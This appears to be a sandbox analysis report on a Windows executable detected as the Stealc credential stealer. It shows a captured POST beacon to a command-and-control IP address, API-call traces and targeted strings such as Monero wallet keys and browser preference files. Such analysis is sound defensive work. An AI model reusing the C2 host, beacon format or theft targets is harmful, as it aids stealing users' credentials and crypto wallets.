Oct 23, 2024 15:48:27.428540945 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKK Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 61 34 34 32 63 32 63 36 31 31 31 31 32 35 33 33 66 31 64 33 35 38 36 35 39 31 33 30 63 66 35 34 63 36 32 37 62 38 33 34 33 35 31 39 30 38 61 36 62 38 62 35 36 30 61 34 38 38 65 31 65 64 63 34 38 30 34 30 39 63 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 2d 2d 0d 0a Data Ascii: ------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="token"5ba442c2c611112533f1d358659130cf54c627b834351908a6b8b560a488e1edc480409c------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GDBKKFHIEGDHJKECAAKK--
Oct 23, 2024 15:48:28.209121943 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	09:48:03
Start date:	23/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x1000000
File size:	1'825'792 bytes
MD5 hash:	3A3583CA7503B6EFFBFF20F498F3EBB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1759914221.0000000005700000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1993333489.000000000184E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1993333489.000000000184E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	26.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	28

Executed Functions

Function 01019860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01862278), ref: 010198A1
GetProcAddress.KERNEL32(74DD0000,01862140), ref: 010198BA
GetProcAddress.KERNEL32(74DD0000,01861FD8), ref: 010198D2
GetProcAddress.KERNEL32(74DD0000,018621A0), ref: 010198EA
GetProcAddress.KERNEL32(74DD0000,01862158), ref: 01019903
GetProcAddress.KERNEL32(74DD0000,01868E10), ref: 0101991B
GetProcAddress.KERNEL32(74DD0000,01856830), ref: 01019933
GetProcAddress.KERNEL32(74DD0000,018566F0), ref: 0101994C
GetProcAddress.KERNEL32(74DD0000,018621D0), ref: 01019964
GetProcAddress.KERNEL32(74DD0000,01862170), ref: 0101997C
GetProcAddress.KERNEL32(74DD0000,01862248), ref: 01019995
GetProcAddress.KERNEL32(74DD0000,01862260), ref: 010199AD
GetProcAddress.KERNEL32(74DD0000,01856730), ref: 010199C5
GetProcAddress.KERNEL32(74DD0000,01862188), ref: 010199DE
GetProcAddress.KERNEL32(74DD0000,01862218), ref: 010199F6
GetProcAddress.KERNEL32(74DD0000,01856790), ref: 01019A0E
GetProcAddress.KERNEL32(74DD0000,01861F90), ref: 01019A27
GetProcAddress.KERNEL32(74DD0000,018621E8), ref: 01019A3F
GetProcAddress.KERNEL32(74DD0000,018566D0), ref: 01019A57
GetProcAddress.KERNEL32(74DD0000,01862200), ref: 01019A70
GetProcAddress.KERNEL32(74DD0000,01856650), ref: 01019A88
LoadLibraryA.KERNEL32(01861FC0,?,01016A00), ref: 01019A9A
LoadLibraryA.KERNEL32(01861FF0,?,01016A00), ref: 01019AAB
LoadLibraryA.KERNEL32(01862230,?,01016A00), ref: 01019ABD
LoadLibraryA.KERNEL32(01862008,?,01016A00), ref: 01019ACF
LoadLibraryA.KERNEL32(01862080,?,01016A00), ref: 01019AE0
GetProcAddress.KERNEL32(75A70000,018620C8), ref: 01019B02
GetProcAddress.KERNEL32(75290000,018620E0), ref: 01019B23
GetProcAddress.KERNEL32(75290000,018620F8), ref: 01019B3B
GetProcAddress.KERNEL32(75BD0000,01862110), ref: 01019B5D
GetProcAddress.KERNEL32(75450000,018565D0), ref: 01019B7E
GetProcAddress.KERNEL32(76E90000,01868CB0), ref: 01019B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 01019BB6

Strings

NtQueryInformationProcess, xrefs: 01019BAA

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 9a423691fb2a459f33f20ed36df30179c7715ce704573332749b05efd9e7e66a
Instruction ID: 5658958373001c44b38bf761902d4a66f381f86f9c96149def5b08813f33c1b6
Opcode Fuzzy Hash: 9a423691fb2a459f33f20ed36df30179c7715ce704573332749b05efd9e7e66a
Instruction Fuzzy Hash: 25A11ABE5C52409FE378EFA8F99CA6A3BF9F788301704451AE60BC724CD6399441DB50

Function 010045C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0100460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0100479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 010045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0100473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 010046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 010046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 010045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 010046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0100471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 010045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0100466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0100474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 010046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0100462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0100475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0100477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 010046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 010045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 010045C7

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: e75a39fe3a58d0dcb6b367b694a5e996dff2e8b95d14be1cef82c086be1e67c9
Instruction ID: 009388164261ea74fea2525afda54e48c0a230249360a2f926ee1385d8f39229
Opcode Fuzzy Hash: e75a39fe3a58d0dcb6b367b694a5e996dff2e8b95d14be1cef82c086be1e67c9
Instruction Fuzzy Hash: 4E41EE207CA334BE8E2EB7E98C4EBDDF2B75B46504F985148EC40DA652CAE07921452B

Function 01005100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 010047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 01004839
Part of subcall function 010047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 01004849

lstrlen.KERNEL32(00000000), ref: 01005193

Part of subcall function 01018EA0: CryptBinaryToStringA.CRYPT32(00000000,01005184,40000001,00000000,00000000,?,01005184), ref: 01018EC0

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 01005207
StrCmpCA.SHLWAPI(?,0186E718), ref: 01005225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 01005340
HttpOpenRequestA.WININET(00000000,0186E7A8,?,0186DEE8,00000000,00000000,00400100,00000000), ref: 010053A4

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0186E808,00000000,?,0186A018,00000000,?,010219DC,00000000,?,010151CF), ref: 01005737
lstrlen.KERNEL32(00000000), ref: 0100574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0100575C
RtlAllocateHeap.NTDLL(00000000), ref: 01005763
lstrlen.KERNEL32(00000000), ref: 01005778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 010057A9
lstrlen.KERNEL32(00000000), ref: 010057C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 010057E1
lstrlen.KERNEL32(00000000,?,?), ref: 0100580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 01005822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0100584D
InternetCloseHandle.WININET(00000000), ref: 010058B1
InternetCloseHandle.WININET(00000000), ref: 010058BE
InternetCloseHandle.WININET(00000000), ref: 010058C8

Strings

", xrefs: 01005706
--, xrefs: 01005280
", xrefs: 01005482
------, xrefs: 010053B7
------, xrefs: 010054F9
------, xrefs: 01005297
------, xrefs: 0100563B
", xrefs: 010055C4

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: c3b89cc5a4dfb40c674722718fd25fd39dcd45544bcb321f86b5f0b1f9b38661
Instruction ID: f29296fc18e84e285878093d15ce8025dfd1ea1db0a9fa015d9dc4f9a6075c6e
Opcode Fuzzy Hash: c3b89cc5a4dfb40c674722718fd25fd39dcd45544bcb321f86b5f0b1f9b38661
Instruction Fuzzy Hash: 03323D76A21159EBDB15EBA0DC94FEEB378BF24610F404199F54763094EF382A4ACF60

Function 0100BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

FindFirstFileA.KERNEL32(00000000,?,01020B32,01020B2B,00000000,?,?,?,010213F4,01020B2A), ref: 0100BEF5
StrCmpCA.SHLWAPI(?,010213F8), ref: 0100BF4D
StrCmpCA.SHLWAPI(?,010213FC), ref: 0100BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 0100C7BF
FindClose.KERNEL32(000000FF), ref: 0100C7D1

Strings

\Brave\Preferences, xrefs: 0100C1DB
Brave, xrefs: 0100C102
Google Chrome, xrefs: 0100C634
Preferences, xrefs: 0100C11E

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
